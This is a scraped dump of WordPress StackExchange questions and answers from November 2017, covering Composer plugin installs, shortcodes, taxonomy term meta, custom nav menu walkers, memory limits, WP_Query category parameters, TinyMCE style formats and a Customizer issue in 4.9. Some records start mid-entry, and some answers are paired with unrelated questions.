"http://wordpress.org/about/" } ], "support": { "issues": "http://core.trac.wordpress.org/", "forum": "http://wordpress.org/support/", "wiki": "http://codex.wordpress.org/", "irc": "irc://irc.freenode.net/wordpress", "source": "http://core.trac.wordpress.org/browser" }, "require": { "php": "&gt;=5.3.2", "wpackagist-plugin/members": "2.0.2" }, "provide": { "wordpress/core-implementation": "4.8.2" } } </code></pre> <p>As I mentioned, the plugin is visible in my <code>wp-plugins</code> folder, so it seems to have done everything correctly. I just can't manage to install it neither with WP-CLI nor within the WP Dashboard.</p>
[ { "answer_id": 286009, "author": "websupporter", "author_id": 48693, "author_profile": "https://wordpress.stackexchange.com/users/48693", "pm_score": 2, "selected": false, "text": "<p>In order for WordPress to recognize a plugin it needs to be in the correct plugins folder.</p>\n\n<p>In ...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/286004", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81297/" ]
I'm using Composer to install plugins with the wpackagist repository. I've added all the relevant lines to my `composer.json` file in my main `wp/` directory. The plugin installed as expected (it's [this one](https://wordpress.org/plugins/members/) if it makes any difference) to its own folder within `wp/plugins/`. The issue that I see now is that it doesn't show up in the plugins section of my WordPress dashboard, nor am I able to install it with `wp plugin activate <name>`. Is there something else that needs to be done with Composer or elsewhere in this process to allow the plugin to be able to be installed? Here's my `composer.json`: ``` { "name": "johnpbloch/wordpress-core", "description": "WordPress is web software you can use to create a beautiful website or blog.", "repositories":[ { "type":"composer", "url":"https://wpackagist.org" } ], "keywords": [ "wordpress", "blog", "cms" ], "type": "wordpress-core", "homepage": "http://wordpress.org/", "license": "GPL-2.0+", "authors": [ { "name": "WordPress Community", "homepage": "http://wordpress.org/about/" } ], "support": { "issues": "http://core.trac.wordpress.org/", "forum": "http://wordpress.org/support/", "wiki": "http://codex.wordpress.org/", "irc": "irc://irc.freenode.net/wordpress", "source": "http://core.trac.wordpress.org/browser" }, "require": { "php": ">=5.3.2", "wpackagist-plugin/members": "2.0.2" }, "provide": { "wordpress/core-implementation": "4.8.2" } } ``` As I mentioned, the plugin is visible in my `wp-plugins` folder, so it seems to have done everything correctly. I just can't manage to install it neither with WP-CLI nor within the WP Dashboard.
In order for WordPress to recognize a plugin it needs to be in the correct plugins folder. In an usual installation this is wp-content/plugins/ If you use wpackagist.org, a working example would be this composer.json: ``` { "repositories": [ { "type": "composer", "url": "https://wpackagist.org" } ], "require": { "wpackagist-plugin/broken-link-checker": "*", "wpackagist-theme/twentyseventeen": "*" } } ``` `wpackagist-plugin` signals its a WordPress plugin you want to install `wpackagist-theme` signals, its a theme. I hope, this helps. If you want to manage your whole installation (including WordPress), I suggest you have a look into [WPStarter](https://github.com/wecodemore/wpstarter) **Edit:** I tested your composer.json like this: In the folder, where I have my composer.json I run `wp core download wp config create ... wp core install ... composer install` and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?
286,014
<p>I'd like to create a shortcode that would display the post count for a specific category within a custom post type. I've been trying to alter the code below but need some help. Could anyone let me know how to tweak so that the shortcode is for a specific custom post type.</p> <pre>// Add Shortcode to show posts count inside a category function category_post_count( $atts ) { $atts = shortcode_atts( array( 'category' => null ), $atts ); // get the category by slug. $term = get_term_by( 'slug', $atts['category'], 'category'); return ( isset( $term->count ) ) ? $term->count : 0; } add_shortcode( 'category_post_count', 'category_post_count' );</pre> <p>Thanks in advance!</p>
[ { "answer_id": 286009, "author": "websupporter", "author_id": 48693, "author_profile": "https://wordpress.stackexchange.com/users/48693", "pm_score": 2, "selected": false, "text": "<p>In order for WordPress to recognize a plugin it needs to be in the correct plugins folder.</p>\n\n<p>In ...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/286014", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/39052/" ]
I'd like to create a shortcode that would display the post count for a specific category within a custom post type. I've been trying to alter the code below but need some help. Could anyone let me know how to tweak so that the shortcode is for a specific custom post type. ``` // Add Shortcode to show posts count inside a category function category_post_count( $atts ) { $atts = shortcode_atts( array( 'category' => null ), $atts ); // get the category by slug. $term = get_term_by( 'slug', $atts['category'], 'category'); return ( isset( $term->count ) ) ? $term->count : 0; } add_shortcode( 'category_post_count', 'category_post_count' ); ``` Thanks in advance!
In order for WordPress to recognize a plugin it needs to be in the correct plugins folder. In an usual installation this is wp-content/plugins/ If you use wpackagist.org, a working example would be this composer.json: ``` { "repositories": [ { "type": "composer", "url": "https://wpackagist.org" } ], "require": { "wpackagist-plugin/broken-link-checker": "*", "wpackagist-theme/twentyseventeen": "*" } } ``` `wpackagist-plugin` signals its a WordPress plugin you want to install `wpackagist-theme` signals, its a theme. I hope, this helps. If you want to manage your whole installation (including WordPress), I suggest you have a look into [WPStarter](https://github.com/wecodemore/wpstarter) **Edit:** I tested your composer.json like this: In the folder, where I have my composer.json I run `wp core download wp config create ... wp core install ... composer install` and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?
286,052
<p>i add some custom meta field to product taxonomy "artist" they work well and save to taxonomy</p> <pre><code> /** add meta data to artist taxonomy */ function artist_add_meta_fields( $taxonomy ) { ?&gt; &lt;div class="form-field term-group"&gt; &lt;label for="artist_nickname"&gt;&lt;?php _e( 'Nickname', 'my-plugin' ); ?&gt;&lt;/label&gt; &lt;input type="text" id="artist_nickname" name="artist_nickname" /&gt; &lt;/div&gt; &lt;?php } add_action( 'artist_add_form_fields', 'artist_add_meta_fields', 10, 2 ); function artist_edit_meta_fields( $term, $taxonomy ) { $artist_nickname = get_term_meta( $term-&gt;term_id, 'artist_nickname', true ); ?&gt; &lt;tr class="form-field term-group-wrap"&gt; &lt;th scope="row"&gt; &lt;label for="artist_nickname"&gt;&lt;?php _e( 'Nickname', 'my-plugin' ); ?&gt;&lt;/label&gt; &lt;/th&gt; &lt;td&gt; &lt;input type="text" id="artist_nickname" name="artist_nickname" value="&lt;?php echo $artist_nickname; ?&gt;" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php } add_action( 'artist_edit_form_fields', 'artist_edit_meta_fields', 10, 2 ); function artist_save_taxonomy_meta( $term_id, $tag_id ) { if( isset( $_POST['artist_nickname'] ) ) { update_term_meta( $term_id, 'artist_nickname', esc_attr( $_POST['artist_nickname'] ) ); } } add_action( 'created_artist', 'artist_save_taxonomy_meta', 10, 2 ); add_action( 'edited_artist', 'artist_save_taxonomy_meta', 10, 2 ); </code></pre> <p>but i cant get them in taxonomy-artist.php in frontend</p> <pre><code>//Get Taxonomy Meta $artist_nickname = get_term_meta($term-&gt;term_id,'artist_nickname'); echo $artist_nickname; </code></pre> <p>but nothing displayed. where is my problem?</p>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickna...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286052", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131589/" ]
i add some custom meta field to product taxonomy "artist" they work well and save to taxonomy ``` /** add meta data to artist taxonomy */ function artist_add_meta_fields( $taxonomy ) { ?> <div class="form-field term-group"> <label for="artist_nickname"><?php _e( 'Nickname', 'my-plugin' ); ?></label> <input type="text" id="artist_nickname" name="artist_nickname" /> </div> <?php } add_action( 'artist_add_form_fields', 'artist_add_meta_fields', 10, 2 ); function artist_edit_meta_fields( $term, $taxonomy ) { $artist_nickname = get_term_meta( $term->term_id, 'artist_nickname', true ); ?> <tr class="form-field term-group-wrap"> <th scope="row"> <label for="artist_nickname"><?php _e( 'Nickname', 'my-plugin' ); ?></label> </th> <td> <input type="text" id="artist_nickname" name="artist_nickname" value="<?php echo $artist_nickname; ?>" /> </td> </tr> <?php } add_action( 'artist_edit_form_fields', 'artist_edit_meta_fields', 10, 2 ); function artist_save_taxonomy_meta( $term_id, $tag_id ) { if( isset( $_POST['artist_nickname'] ) ) { update_term_meta( $term_id, 'artist_nickname', esc_attr( $_POST['artist_nickname'] ) ); } } add_action( 'created_artist', 'artist_save_taxonomy_meta', 10, 2 ); add_action( 'edited_artist', 'artist_save_taxonomy_meta', 10, 2 ); ``` but i cant get them in taxonomy-artist.php in frontend ``` //Get Taxonomy Meta $artist_nickname = get_term_meta($term->term_id,'artist_nickname'); echo $artist_nickname; ``` but nothing displayed. where is my problem?
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,053
<p>how do you create this customize menu using wp_nav_menu function? </p> <p><strong>function.php file</strong></p> <pre><code>register_nav_menus( array( 'header-menu' =&gt; 'Header Menu', 'footer-menu' =&gt; 'Footer Menu' ) ); </code></pre> <p><strong>header.php file</strong></p> <pre><code> &lt;?php wp_nav_menu( array( 'theme_location' =&gt; 'header-menu', 'container' =&gt; '', ) ); ?&gt; </code></pre> <p><strong>How do i assign <code>class</code> to <code>&lt;ul&gt; and &lt;li&gt;</code></strong></p> <p><strong>Html Example</strong></p> <pre><code>&lt;ul class="nav header-nav header-bottom-nav nav-center nav-uppercase"&gt; &lt;li class=""&gt;&lt;a href="index.php" class="nav-top-link"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li class="has-dropdown"&gt;&lt;a href="testing.php" class="nav-top-link"&gt;Testing&lt;i class="icon-angle-down" &gt;&lt;/i&gt;&lt;/a&gt; &lt;ul class='nav-dropdown nav-dropdown-default'&gt; &lt;li&gt;&lt;a href="hello.php"&gt;Hello&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p><strong>Result Should Be Like This In Wordpress Function</strong> <a href="https://i.stack.imgur.com/GNKiy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GNKiy.png" alt="enter image description here"></a></p> <p><strong>Here The Solution With The Help Of Walker_Nav_Menu Function</strong></p> <p><strong>Walker_Nav_Menu Function</strong> </p> <pre><code>Function.php class Desktop_Walker_Nav_Menu extends Walker_Nav_Menu { function start_el(&amp;$output, $item, $depth = 0, $args = array(), $id = 0) { if (array_search('menu-item-has-children', $item-&gt;classes)) { $output .= sprintf("\n&lt;li class='menu-item has-dropdown dropdown %s'&gt;&lt;a href='%s' class=\"nav-top-link\" &gt;%s &lt;i class='icon-angle-down' &gt;&lt;/i&gt;&lt;/a&gt; \n", ( array_search('current-menu-item', $item-&gt;classes) || array_search('current-page-parent', $item-&gt;classes) ) ? 'active' : '', $item-&gt;url, $item-&gt;title); } else { $output .= sprintf("\n&lt;li %s&gt;&lt;a href='%s'&gt;%s&lt;/a&gt;\n", ( array_search('current-menu-item', $item-&gt;classes) ) ? '' : '', $item-&gt;url, $item-&gt;title ); } } function start_lvl(&amp;$output, $depth) { $indent = str_repeat("\t", $depth); $output .= "\n$indent&lt;ul class=\"nav-dropdown nav-dropdown-default\" role=\"menu\"&gt;\n"; } } </code></pre> <p><strong>Header.php Code</strong></p> <pre><code>&lt;?php $defaults = array( 'theme_location' =&gt; 'header-menu', 'container' =&gt; 'ul', 'menu_class' =&gt; 'nav header-nav header-bottom-nav nav-center nav-uppercase', 'walker' =&gt; new Desktop_Walker_Nav_Menu() ); wp_nav_menu( $defaults ); ?&gt; </code></pre>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickna...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286053", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/-1/" ]
how do you create this customize menu using wp\_nav\_menu function? **function.php file** ``` register_nav_menus( array( 'header-menu' => 'Header Menu', 'footer-menu' => 'Footer Menu' ) ); ``` **header.php file** ``` <?php wp_nav_menu( array( 'theme_location' => 'header-menu', 'container' => '', ) ); ?> ``` **How do i assign `class` to `<ul> and <li>`** **Html Example** ``` <ul class="nav header-nav header-bottom-nav nav-center nav-uppercase"> <li class=""><a href="index.php" class="nav-top-link">Home</a></li> <li class="has-dropdown"><a href="testing.php" class="nav-top-link">Testing<i class="icon-angle-down" ></i></a> <ul class='nav-dropdown nav-dropdown-default'> <li><a href="hello.php">Hello</a></li> </ul> </li> </ul> ``` **Result Should Be Like This In Wordpress Function** [![enter image description here](https://i.stack.imgur.com/GNKiy.png)](https://i.stack.imgur.com/GNKiy.png) **Here The Solution With The Help Of Walker\_Nav\_Menu Function** **Walker\_Nav\_Menu Function** ``` Function.php class Desktop_Walker_Nav_Menu extends Walker_Nav_Menu { function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) { if (array_search('menu-item-has-children', $item->classes)) { $output .= sprintf("\n<li class='menu-item has-dropdown dropdown %s'><a href='%s' class=\"nav-top-link\" >%s <i class='icon-angle-down' ></i></a> \n", ( array_search('current-menu-item', $item->classes) || array_search('current-page-parent', $item->classes) ) ? 'active' : '', $item->url, $item->title); } else { $output .= sprintf("\n<li %s><a href='%s'>%s</a>\n", ( array_search('current-menu-item', $item->classes) ) ? '' : '', $item->url, $item->title ); } } function start_lvl(&$output, $depth) { $indent = str_repeat("\t", $depth); $output .= "\n$indent<ul class=\"nav-dropdown nav-dropdown-default\" role=\"menu\">\n"; } } ``` **Header.php Code** ``` <?php $defaults = array( 'theme_location' => 'header-menu', 'container' => 'ul', 'menu_class' => 'nav header-nav header-bottom-nav nav-center nav-uppercase', 'walker' => new Desktop_Walker_Nav_Menu() ); wp_nav_menu( $defaults ); ?> ```
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,061
<p>Can anyone tell How to check User Role and redirect to specific page according to Role when login in Wordpress?</p> <p>Thanks.</p>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickna...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286061", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131596/" ]
Can anyone tell How to check User Role and redirect to specific page according to Role when login in Wordpress? Thanks.
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,072
<p>I want to set WP_MEMORY_LIMIT for my WordPress site. I use from shared hosting and CPanel. I have access to change something like max memory limit on my host. I attached related image in the following that you can see it:</p> <p><a href="https://i.stack.imgur.com/iiI8H.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iiI8H.jpg" alt="enter image description here"></a></p> <p>I checked max memory limit on host by a php file and <code>phpinfo();</code> and it's set to 512M. </p> <p>My problem is related to set <code>WP_MEMORY_LIMIT</code> on <code>wp-config.php</code> file. I add these line of code to define these constants in WordPress like this: </p> <p><a href="https://i.stack.imgur.com/9YoBB.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9YoBB.jpg" alt="enter image description here"></a></p> <p>I have used from "Server IP &amp; Memory Usage Display" which shows WP memory limit and WP max memory limit at the bottom of each admin panel pages. Strange thing is WP Max Memory limit is 512M but WP Memory limit has been 40M yet. </p> <p>I searched for that in stack-overflow forums and I found that I should change it from <code>default-constants.php</code> in wp-includes directory. </p> <pre><code>// Define memory limits. if ( ! defined( 'WP_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MEMORY_LIMIT', $current_limit ); } elseif ( is_multisite() ) { define( 'WP_MEMORY_LIMIT', '64M' ); } else { define( 'WP_MEMORY_LIMIT', '40M' ); } } if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } elseif ( -1 === $current_limit_int || $current_limit_int &gt; 268435456 /* = 256M */ ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } else { define( 'WP_MAX_MEMORY_LIMIT', '256M' ); } } </code></pre> <p>I changed it and it works correctly but it's not a right way because every time I update WordPress, it'll change to 40M again and I have to change it manually again from <code>default-constants.php</code>. </p> <p>So How can I solve this issue? Why didn't it apply and work in wp-config? </p>
[ { "answer_id": 286076, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 4, "selected": true, "text": "<p>Need to set both the constants before ABSPATH is defined. Right after this line in wp-config.php</p>\n\n<...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286072", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/109454/" ]
I want to set WP\_MEMORY\_LIMIT for my WordPress site. I use from shared hosting and CPanel. I have access to change something like max memory limit on my host. I attached related image in the following that you can see it: [![enter image description here](https://i.stack.imgur.com/iiI8H.jpg)](https://i.stack.imgur.com/iiI8H.jpg) I checked max memory limit on host by a php file and `phpinfo();` and it's set to 512M. My problem is related to set `WP_MEMORY_LIMIT` on `wp-config.php` file. I add these line of code to define these constants in WordPress like this: [![enter image description here](https://i.stack.imgur.com/9YoBB.jpg)](https://i.stack.imgur.com/9YoBB.jpg) I have used from "Server IP & Memory Usage Display" which shows WP memory limit and WP max memory limit at the bottom of each admin panel pages. Strange thing is WP Max Memory limit is 512M but WP Memory limit has been 40M yet. I searched for that in stack-overflow forums and I found that I should change it from `default-constants.php` in wp-includes directory. ``` // Define memory limits. if ( ! defined( 'WP_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MEMORY_LIMIT', $current_limit ); } elseif ( is_multisite() ) { define( 'WP_MEMORY_LIMIT', '64M' ); } else { define( 'WP_MEMORY_LIMIT', '40M' ); } } if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } elseif ( -1 === $current_limit_int || $current_limit_int > 268435456 /* = 256M */ ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } else { define( 'WP_MAX_MEMORY_LIMIT', '256M' ); } } ``` I changed it and it works correctly but it's not a right way because every time I update WordPress, it'll change to 40M again and I have to change it manually again from `default-constants.php`. So How can I solve this issue? Why didn't it apply and work in wp-config?
Need to set both the constants before ABSPATH is defined. Right after this line in wp-config.php ``` define( 'WP_DEBUG_LOG', true ); ```
286,090
<p>I'm trying to pull through a custom post with a custom categories and show only a specific slug.</p> <p>e.g. Custom Post (Job Board) - Custom Category (Job Sector) - Specific Slug (Industrial)</p> <p>What I have show far is;</p> <pre><code>$args = array( 'post_type' =&gt; 'post', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'job-sector', 'field' =&gt; 'industrial', //can be set to ID ) ) ); </code></pre> <p>Yet nothing seems to be showing...can anyone help or suggest where I'm going wrong? </p> <p>Thanks</p>
[ { "answer_id": 286094, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": true, "text": "<p>Try something like this:\nWith the post_type the name of your CPT</p>\n\n<pre><code>$args = array(\n ...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286090", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124233/" ]
I'm trying to pull through a custom post with a custom categories and show only a specific slug. e.g. Custom Post (Job Board) - Custom Category (Job Sector) - Specific Slug (Industrial) What I have show far is; ``` $args = array( 'post_type' => 'post', 'tax_query' => array( array( 'taxonomy' => 'job-sector', 'field' => 'industrial', //can be set to ID ) ) ); ``` Yet nothing seems to be showing...can anyone help or suggest where I'm going wrong? Thanks
Try something like this: With the post\_type the name of your CPT ``` $args = array( 'post_type' => 'your_cpt_name', 'tax_query' => array( array( 'taxonomy' => 'job-sector', 'field' => 'slug', 'terms' => 'industrial', ) ) ); $query = new WP_Query( $args ); ```
286,116
<p>I want to give the backend-users only 4 text styles to choose from. Headline, Subheadline, Paragraph and a style we called <code>.statement</code>.</p> <p>Searching for terms like "custom styles in TinyMCE" always ended up with this article from wordpress itself. <a href="https://codex.wordpress.org/TinyMCE_Custom_Styles" rel="nofollow noreferrer">https://codex.wordpress.org/TinyMCE_Custom_Styles</a></p> <p><a href="https://i.stack.imgur.com/z6UKE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z6UKE.png" alt="enter image description here"></a></p> <p>Unfortunately I don't want to give access to another dropdown. I need to strip the current dropdown of its content and populate it with my own styles.</p> <p>In the first step I actually don't care about how they look both in the dropdown and in the visual-editor itself. The key here is to take away unnecessary styling options; options the design &amp; frontend will not support. (Although it would be great to alter the looks inside the editor itself)</p> <p>.</p> <p><code>function my_mce_before_init_insert_formats( $init_array ) {</code></p> <p>I looked at the <code>$init_array</code> and couldn't find where the dropdown is being created. </p> <p>Thrilled for your suggestions :)</p> <p>Louis!</p>
[ { "answer_id": 286374, "author": "Vlad K.", "author_id": 109146, "author_profile": "https://wordpress.stackexchange.com/users/109146", "pm_score": 4, "selected": true, "text": "<p>I was having the same issue and here is what you can do. The code below disables the h1 tag from the block f...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286116", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102487/" ]
I want to give the backend-users only 4 text styles to choose from. Headline, Subheadline, Paragraph and a style we called `.statement`. Searching for terms like "custom styles in TinyMCE" always ended up with this article from wordpress itself. <https://codex.wordpress.org/TinyMCE_Custom_Styles> [![enter image description here](https://i.stack.imgur.com/z6UKE.png)](https://i.stack.imgur.com/z6UKE.png) Unfortunately I don't want to give access to another dropdown. I need to strip the current dropdown of its content and populate it with my own styles. In the first step I actually don't care about how they look both in the dropdown and in the visual-editor itself. The key here is to take away unnecessary styling options; options the design & frontend will not support. (Although it would be great to alter the looks inside the editor itself) . `function my_mce_before_init_insert_formats( $init_array ) {` I looked at the `$init_array` and couldn't find where the dropdown is being created. Thrilled for your suggestions :) Louis!
I was having the same issue and here is what you can do. The code below disables the h1 tag from the block formats section. The same way you can disable other tags and also add your own. But I'm not sure about how to add custom CSS styles to them. Hope this code will give you a hint in which way to dig. ``` //Modify TinyMCE editor to hide H1. function tiny_mce_remove_unused_formats( $initFormats ) { // Add block format elements you want to show in dropdown $initFormats['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre'; return $initFormats; } add_filter( 'tiny_mce_before_init', 'tiny_mce_remove_unused_formats' ); ``` **Update:** The thing you are looking for was possible before Wordpress 3.9 had been released. Earlier you had to write those lines of code to make it possible. But unfortunately, `theme_advanced_styles` is deprecated since WP 3.9 updated the TinyMCE to version 4 ([see the Change Log](https://codex.wordpress.org/TinyMCE)). More information on the [Andrew Ozz blog](https://ozz.blog/2014/04/19/customizing-tinymce-4-0/). This is how it was earlier ([source](http://wesbos.com/custom-wordpress-tinymce-wysiwyg-classes/)): ``` function make_mce_awesome( $init ) { // deprecated settings $init['theme_advanced_blockformats'] = 'h2,h3,h4,p'; $init['theme_advanced_disable'] = 'underline,spellchecker,wp_help'; $init['theme_advanced_text_colors'] = '0f3156,636466,0486d3'; $init['theme_advanced_buttons2_add'] = 'styleselect'; $init['theme_advanced_styles'] = "bigTitle=bigTitle;Call To Action Button=ctaButton,Rounded Corners=rounded"; return $init; } add_filter('tiny_mce_before_init', 'make_mce_awesome'); ``` **Solution:** Anyway, I have my solution for your task. You can get rid of the default drop-down and add formats drop-down with four styles in it. This will help you to avoid confusions with the users, from what dropdowns they select styles. Disable the default dropdown: ``` function remove_default_format_select( $buttons ) { //Remove the format dropdown select and text color selector $remove = array( 'formatselect' ); return array_diff( $buttons, $remove ); } add_filter( 'mce_buttons', 'remove_default_format_select' ); ``` Add new Formats dropdown ([more here](https://codex.wordpress.org/TinyMCE_Custom_Styles)): ``` // Callback function to insert 'styleselect' into the $buttons array function my_new_mce_buttons( $buttons ) { array_unshift( $buttons, 'styleselect' ); return $buttons; } // Register our callback to the appropriate filter add_filter( 'mce_buttons', 'my_new_mce_buttons' ); // Callback function to filter the MCE settings function my_mce_before_init_insert_formats( $init_array ) { // Define the style_formats array $style_formats = array( array( 'title' => 'Headline', 'block' => 'h1' ), array( 'title' => 'SubHeadline', 'block' => 'h2' ), array( 'title' => 'Statement', 'block' => 'div', 'classes' => 'statement_class', 'wrapper' => true ) ); // Insert the array, JSON ENCODED, into 'style_formats' $init_array['style_formats'] = json_encode( $style_formats ); return $init_array; } // Attach callback to 'tiny_mce_before_init' add_filter( 'tiny_mce_before_init', 'my_mce_before_init_insert_formats' ); ``` The last one. Register the css file to get the visual look in your editor: ([Learn more](https://developer.wordpress.org/reference/functions/add_editor_style/)) ``` /** * Registers an editor stylesheet for the theme. */ function wpdocs_theme_add_editor_styles() { add_editor_style( 'custom-editor-style.css' ); } add_action( 'admin_init', 'wpdocs_theme_add_editor_styles' ); ``` Hope this helps.
286,126
<p>According to the codex, to query posts that can belong to any of a collection of categories, we need to do something like this:</p> <pre><code>$query = new WP_Query( array( 'cat' =&gt; '2,6,17,38' ) ); </code></pre> <p><a href="https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters" rel="nofollow noreferrer">https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters</a></p> <p>However, I have the following, which works, and I'm not sure why.</p> <pre><code> $args = array( 'cat' =&gt; $related_cat_ids, 'posts_per_page' =&gt; -1, ); $query = new WP_Query($args); </code></pre> <p>The reason why I'm confused is because $related_cat_ids is actually an array, but the example clearly shows a string of numbers, seperated by commas, for the 'cat' value.</p> <p>Is this something I should be concerned about? Will my code all of a sudden stop working in a future WordPress release? It's more convenient for my case to keep using the array, rather than format it into that string. The reason being is that I'm using <code>get_the_category()</code> to get the categories dynamically, and then pushing the IDs from that array into my new array.</p>
[ { "answer_id": 286127, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 3, "selected": true, "text": "<p>I understand your confusion but you haven't something to worry about as behinds the scenes Wordpress mak...
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286126", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/94213/" ]
According to the codex, to query posts that can belong to any of a collection of categories, we need to do something like this: ``` $query = new WP_Query( array( 'cat' => '2,6,17,38' ) ); ``` <https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters> However, I have the following, which works, and I'm not sure why. ``` $args = array( 'cat' => $related_cat_ids, 'posts_per_page' => -1, ); $query = new WP_Query($args); ``` The reason why I'm confused is because $related\_cat\_ids is actually an array, but the example clearly shows a string of numbers, seperated by commas, for the 'cat' value. Is this something I should be concerned about? Will my code all of a sudden stop working in a future WordPress release? It's more convenient for my case to keep using the array, rather than format it into that string. The reason being is that I'm using `get_the_category()` to get the categories dynamically, and then pushing the IDs from that array into my new array.
I understand your confusion but you haven't something to worry about as behinds the scenes Wordpress make all the necessary steps to make it work. For example, take the following code from the `class-wp-query.php` ``` // If querystring 'cat' is an array, implode it. if ( is_array( $q['cat'] ) ) { $q['cat'] = implode( ',', $q['cat'] ); } ``` Is checking to see if is an array and quickly transform the result to a comma-separated string. **Another way will be using the other options like:** ``` category__and An array of category IDs (AND in). category__in An array of category IDs (OR in, no children). category__not_in An array of category IDs (NOT in). ``` **More on this in** [`Category_Parameters`](https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters) But again I would hold to use the way you find more comfortable. It perfectly fine to use the `array()` format if you find it more useful besides this is what make **Wordpress** a fun and useful tool to work on.
286,142
<p>I upgraded my dev environment to 4.9, and the customizer chokes on my _underscores-based theme. The customizer works fine on TwentySixteen, so I think there is a problem with my theme.</p> <p>The tell was that the Customizer's Save &amp; Publish button is missing entirely from the UI. Some other strange things happen, like the labels for my settings under the Colors panel are not visible until you click on the color picker.</p> <p>Firefox dev console says </p> <pre><code>TypeError: a.elements[0] is undefined [Learn More] load-scripts.php:6:12121 </code></pre> <p>And when I click [Learn more] it shows</p> <pre><code>&lt;anonymous&gt; http://localhost/test-site/wp-admin/load-scripts.php:6:12121 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 when/&lt; http://localhost/test-site/wp-admin/load-scripts.php:2:4062 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 add http://localhost/test-site/wp-admin/load-scripts.php:2:27748 when http://localhost/test-site/wp-admin/load-scripts.php:2:3810 instance http://localhost/test-site/wp-admin/load-scripts.php:2:2847 f http://localhost/test-site/wp-admin/load-scripts.php:2:526 &lt;anonymous&gt; http://localhost/test-site/wp-admin/load-scripts.php:6:12068 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 ready http://localhost/test-site/wp-admin/load-scripts.php:2:30004 K http://localhost/test-site/wp-admin/load-scripts.php:2:30366 </code></pre> <p>The front end seems to be working fine. Is there guidance for theme developers about the changes in the Customizer that 4.9 has delivered? I don't know what I should be looking for. </p> <p>UPDATE:</p> <p>I tested this theme on my SiteGround account to make sure the problem wasn't something related to my local machine or server instance. The same issue exists on one of my live sites on SiteGround only after I updated it to 4.9, so I believe this is definitely a problem between my theme and the latest version of WP.</p>
[ { "answer_id": 286146, "author": "rg89", "author_id": 13090, "author_profile": "https://wordpress.stackexchange.com/users/13090", "pm_score": 2, "selected": true, "text": "<p>I found the line of code in my theme that is breaking the customizer in 4.9. Behold!</p>\n\n<pre><code>$wp_custom...
2017/11/16
